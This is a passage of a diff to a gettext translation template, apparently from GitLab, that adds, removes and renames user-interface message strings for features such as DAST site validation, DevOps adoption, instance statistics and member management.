+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8683,9 +8932,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8710,7 +8956,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8794,9 +9040,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9208,6 +9451,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9226,6 +9472,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9262,6 +9511,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9319,6 +9571,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9397,15 +9652,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9415,15 +9664,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9613,9 +9931,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9688,9 +10003,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9739,9 +10051,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9847,6 +10165,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9922,6 +10243,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9952,6 +10276,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10024,7 +10351,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10042,6 +10369,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10393,6 +10723,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10504,6 +10837,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10741,9 +11077,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10780,6 +11113,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10858,6 +11194,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11092,6 +11431,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11200,6 +11542,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11335,6 +11680,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11374,6 +11722,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11413,12 +11764,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11587,6 +11944,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11611,9 +11971,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11674,6 +12031,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11716,7 +12076,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11842,12 +12202,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11872,9 +12226,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11920,9 +12271,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12007,6 +12355,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12034,9 +12385,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12523,6 +12871,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12556,6 +12907,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12766,15 +13120,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12889,12 +13240,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13129,6 +13474,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13522,12 +13873,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13603,6 +13948,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13756,9 +14104,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13900,6 +14245,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13978,12 +14326,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14035,9 +14377,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14068,6 +14407,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14101,6 +14443,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14131,9 +14476,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14311,9 +14653,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14398,9 +14737,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14425,73 +14761,79 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14530,6 +14872,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14563,7 +14908,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14581,6 +14935,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14602,6 +14959,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14677,6 +15037,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14719,6 +15082,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14743,6 +15109,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14788,6 +15157,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14797,16 +15169,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14914,9 +15286,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14980,6 +15349,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15115,10 +15487,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15295,6 +15667,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15424,6 +15817,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15607,9 +16003,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15703,6 +16096,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15730,9 +16126,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15763,9 +16156,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15829,9 +16219,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15877,18 +16264,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15904,9 +16282,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16012,6 +16387,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16033,6 +16411,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16237,9 +16618,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16300,16 +16678,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16372,7 +16744,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16384,7 +16756,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16432,6 +16804,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16456,9 +16831,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16615,7 +16987,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16651,9 +17026,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16663,12 +17047,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16687,6 +17080,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16738,6 +17134,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16789,6 +17188,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17347,6 +17749,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17452,6 +17857,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17485,12 +17893,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17548,7 +17950,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17644,6 +18046,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17773,6 +18178,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
